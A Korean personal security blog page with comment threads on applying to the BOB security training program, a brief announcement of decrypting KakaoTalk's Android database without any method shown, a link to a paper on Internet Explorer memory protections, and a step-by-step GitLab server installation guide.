      PPT는 본인이 했던 연구나 공부했던 자료를 발표하는 것이라 보시면 되겠습니다. 제가 지원할 당시 BOB 연구원님께서 최대한 본인을 자랑[?]할 수 있는 기회라고 하셨던 기억이 나네요.
      좋은결과 있으시길 바라겠습니다. :)

    • 안녕하세요.. 2015.04.10 20:53

      와우, 답변 감사합니다.
      그런데 배운게 많이 없는상태에서 지원을 하게되면
      합격은 어려울정도로 경쟁률이 쎈가요??
      기간이 얼마 남지 않은거같아 당장 뭘 준비해야될지도 모르겠고
      초조한 마음만 드네요 ..

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2015.04.11 18:09 신고

      2기는 4:1, 3기는 9:1로 기억하고 있습니다.
      일단 BOB에서는 기본적으로 해킹과 프로그래밍 지식이 먼저 필요하다고 보는것 같습니다. 프로그래밍, 웹 해킹, 시스템 해킹등 보안 분야와 관련된 부분을 공부해보시면 좋을것 같습니다.

  2. 익명 2015.04.11 11:24

    비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2015.04.11 18:11 신고

      그래도 일단 PPT같은건 준비하시는게 좋습니다.
      본인이 어느정도까지 공부한 상태이고 앞으로 더 많은걸 공부할 수 있다는 것을 보여주시면 될 것 같습니다.
      또한 아직 기간이 좀 남아있다면 그 동안 더 많은 연구를 해서 다른 지원자 분들과는 다른 차별점을 만들어 보는게 좋을것 같습니다.

  3. 익명 2015.04.15 19:40

    비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2015.04.18 13:17 신고

      우선 BOB는 해킹 및 보안 그리고 프로그래밍, 포렌식, 네트워크, 운영체제등 이런 분야를 가르치는 곳입니다.
      지금 부터라도 위 분야 및 위 분야와 관련되어 있는 선수지식 등을 공부하시면서 준비하시면 좋을 것 같습니다.
      그리고 PPT 주제는 정말 자유입니다. 제가 추천드리는건 자기 자신을 가장 자랑할 수 있는 부분(본인이 진행한 연구, 공부 등)을 주제로 발표하시는것을 추천드립니다.

    • 익명 2015.04.18 19:25

      비밀댓글입니다

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2015.04.18 20:29 신고

      평가는 제가 아닌 멘토님들이 하시는 거라서 차이가 상당히 클 것 같아서 발표 주제에 대해서는 제가 따로 말씀을 드릴 수 없을것 같네요.
      또한 면접 + PPT 이므로 PPT도 비중이 큰건 사실이지만 복합적으로 들어간다고 보시면 되겠습니다.
      주제는 책에 있는 것을 정리한 내용 보다는 본인이 연구했던 주제로 잡는게 가장 좋다고 보고있습니다. (제 생각입니다.)



안녕하세요.


오랜만의 포스팅이네요..


회사 인턴을 하면서 지내다가 얼마전 부터 조금 여유가 생기고.. 잠시 쉬려고 하는데 갑자기 이상하게도 매일 쓰는 카카오톡의 구조를 알고 싶어서 조금 까보게 되었습니다.


카톡은 예전부터 이미 다른 짱짱해커분들이 바이너리를 많이 까둔 상태인데.. (PC for MAC, PC for Windows, IOS, Android <- 이건 신나게 분석하는 도중.. 분석 막바지에 찾았네요.. OTL)


위는 구글링 하면 나오는 자료들이니 패스!


언어를 주로 제가 사용하는 파이썬으로 짜보려고 했는데 카톡의 독특한 암호알고리즘으로 암호화 되어있어서 파이썬으로 재현해보려고 별의 별 뻘짓의 결과 실패로 포기하고


자바 언어도 새로 배울겸(3년전에 만져본적은 있지만.. helloworld 조차 실패 ㅋㅋ) 하면서 주말동안 분석을 진행해봤습니다.


그나저나 기본적인 Proguard 같은 난독화 솔루션 이외에 다른 무언가가 적용되었는지 아니면 JD-GUI가 이상한건지


Internal Error 등 내부적인 디컴파일 오류를 내뿜어대고 심지어 함수가 몇단계를 계속 들어가야 하는 부분도 있어서 분석하느라 고생좀 했습니다 ㅋㅋ


* 이과정에서 IDA로 Jar 파일을 열수 있다는것과 smali code를 강제로 공부하게 되었네요 ㅋㅋ..



그러나.. 분석하면서 답답함을 느끼고 다른 운영체제의 카톡의 구조는 어떻게 만들어져 있는지 찾아보기 위해서 구글링을 해보다가


몇페이지 더 깊게 들어가보니 2년전에 어느분이 안드로이드용 카톡을 조금 분석해둔 분이 계셨네요.. OTL


APK 분석은 많은 경험이 없어서 삽질하면서 그냥 공부했다 생각하며.. ㅎ 나머지를 계속 진행했습니다 ㅋㅋ



결국엔 여러 삽질 끝에 주말을 빠이빠이하고 복호화에 성공했네요.. ㅎㅎ


현재 복호화가 되는걸로 확인한 것은 친구들 데이터와 대화 내용 데이터인데..


분석해본건 나중에 시간날때 정리해서 올려보도록 하겠습니다. :)





'0x00 프로그래밍 > 0x02 android' 카테고리의 다른 글

KakaoTalk 안드로이드 DB 복호화 성공!  (15) 2015.02.16
  1. 알 수 없는 사용자 2015.02.17 01:56

    wow 대단하십니다!!

  2. 대단하네요!! 2015.03.05 12:47

    하는방법 저도 알고싶어요~~

  3. 익명 2015.03.07 19:45

    비밀댓글입니다

  4. 익명 2015.05.30 14:42

    비밀댓글입니다

  5. 익명 2015.06.03 14:16

    비밀댓글입니다

  6. 익명 2015.06.06 11:14

    비밀댓글입니다

  7. 익명 2015.06.09 16:36

    비밀댓글입니다

  8. sklee 2015.08.24 20:00

    복호화 작업관련 포스팅은 언제 올리시나요?
    빨리 보고싶네요.

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2015.08.25 01:23 신고

      회사일이 너무 바빠서 아직 예정에 없습니다. ㅜㅜ

  9. BlogIcon 와수 2015.09.04 23:48

    복호화 작업포스팅을 빨리 볼수 있었으면 좋겠네요^^

  10. 2016.02.27 19:38

    언제쯤 올리시나요? 궁금하네요..

  11. 익명 2018.03.18 17:00

    비밀댓글입니다

  12. 익명 2018.03.18 17:21

    비밀댓글입니다

  13. 익명 2018.10.26 15:19

    비밀댓글입니다

  14. 익명 2020.07.28 06:30

    비밀댓글입니다




오랜만의 기술문서를 배포하게 되었습니다.


화이트해시, 그레이해시 인턴 과정을 거치면서 연구했던 IE의 보호기법과 현재 나와있는 우회법을 간단하게 정리했습니다.


기술에서 테크니컬한 내용은 자세하게 다루지 않았습니다. 대신 중간중간 참고할만한 링크도 함께 걸어두었습니다.


도움이 되었으면 좋겠습니다.



* 틀린점이 있다면 sweetchip@sweetchip.kr 이나 아래 댓글로 달아주시면 감사하겠습니다.


- https://beistlab.wordpress.com/2015/01/15/grayhash_ie_memory_protection/







예전부터 소스코드 관리를 어떻게 하면 좋을까 고민은 하고 있었지만 github를 사용해볼까 하기도 했지만 private repository를 제공하지 않아서 부적절했다.


그후 private repository를 제공하는 bitbucket이라는 git 서버를 찾았는데 조금 사용하다가 말았다.


그리고 그동안 잠시 잊고 지내다가 얼마전에 git을 만질일이 있었고 이때 gitlab을 만나게되었다.


gitlab은 개인 서버에 git서버를 '매우 쉽게' 구축할 수 있는 유틸리티이다.


일단 공식 사이트는 아래 링크를 따라가면 된다.


https://about.gitlab.com/downloads/


그런데 하나 확인해야 할 것이 있다. gitlab의 권장사양은 64비트 운영체제(지원 운영체제는 ubuntu와 기타)이며 램 2기가 이상, cpu 코어 2개 이상이다.


cpu 코어정도는 뭐 신경을 크게 안써도 되지만 램이 부족하면 말이 달라진다.


실제로 1기가 램인 내 개인 서버에 설치해보니 포풍오류가 나와서 로그를 찍어보니 메모리 할당을 못한다고 한다.. 정확히 2기가가 아니라서 그런진 모르겠지만,


램이 2기가가 넘는 환경에서 구축 하는 것을 권장하고 64비트 VM에서 설치하는 것을 권장한다.


wget https://downloads-packages.s3.amazonaws.com/ubuntu-14.04/gitlab_7.6.1-omnibus.5.3.0.ci-1_amd64.deb

sudo apt-get install openssh-server

sudo apt-get install postfix # Select 'Internet Site', using sendmail instead also works, exim has problems

sudo dpkg -i gitlab_7.6.1-omnibus.5.3.0.ci-1_amd64.deb


우선 설치할 서버(ubuntu 14.04.1 기준)에 wget으로 위 링크(링크는 업데이트마다 바뀌니 공식 홈페이지에서 확인 하세요)를 다운받는다.


ssh 서버와 postfix 설치는 생략하겠다. (postfix는 따로 설치 안해도 된다.)


그다음 dpkg로 deb 패키지를 설치한다.


잠시 기다리면... 설치가 완료된다..


진짜 알아서 다해준다!


다만 처음에 vim /opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml 명령어로 host와 port를 설정해주면 된다.


만약 오류가 난다면 gitlab-ctl tail 명령어를 사용하여 무엇이 잘못됬는지 실시간 오류를 보면서 구글링을 해보자.. (본인의 경우 8080포트가 겹치는 것이 있었다. 간단하게 unicorn의 포트를 바꿔줫더니 해결!)


그리고 별다른 오류가 없다면 바로 본인 서버에 접속하여 맘껏 사용하도록 하자!





서버 몇가지 명령어


gitlab-ctl start # 서버 시작

gitlab-ctl stop # 서버 중지

gitlab-ctl reconfigure # 서버 설정 변경 후 실행

gitlab-ctl restart # 서버 재시작


부록--


처음엔 32비트 서버에도 설치할 일이 있어서 공식 홈페이지에 있는 64비트 패키지를 강제설치 했는데 당연히 실행이 안되고 설치도 덜 되었다.


그래서 다시 패키지를 지우고 32비트 전용을 찾아다녔는데 공식 홈페이지에서 배포하는 패키지는 모두 64비트 전용이라고 한다.


절망과 함께 다시 찾아다니다가 bitnami 에서 배포하는 패키지를 발견했다.


https://bitnami.com/stack/gitlab/installer


위에서는 32비트에서 설치하길 원할경우, 64-bit 문구가 붙어있지 않은 파일을 다운로드 받으면 된다.


설치는 공식 홈페이지에서 배포하는 버전보단 아주 약간 작업할 것이 있지만, 크게 힘든건 없다.


http://smile8916.tistory.com/38 이곳을 참고하여 설치하면 될 것이다.



  1. 김현덕 2018.03.14 11:27

    안녕하세요. 램1기가인 서버에서 giflab을 설치는 했는데 502
    Whoops, GitLab is taking too much time to respond. 에러가 나는것도 혹시 램 부족일 수 있을까요??

    감사합니다.

    • Favicon of https://blog.sweetchip.kr BlogIcon sweetchip 2018.03.15 01:11 신고

      안녕하세요! 오류 메세지로는 정확하게 알 수는 없지만 권장 사양보다 낮을 경우 잘 구동이 안되더군요.. 사양을 올려서 테스트 해보세요!

+ Recent posts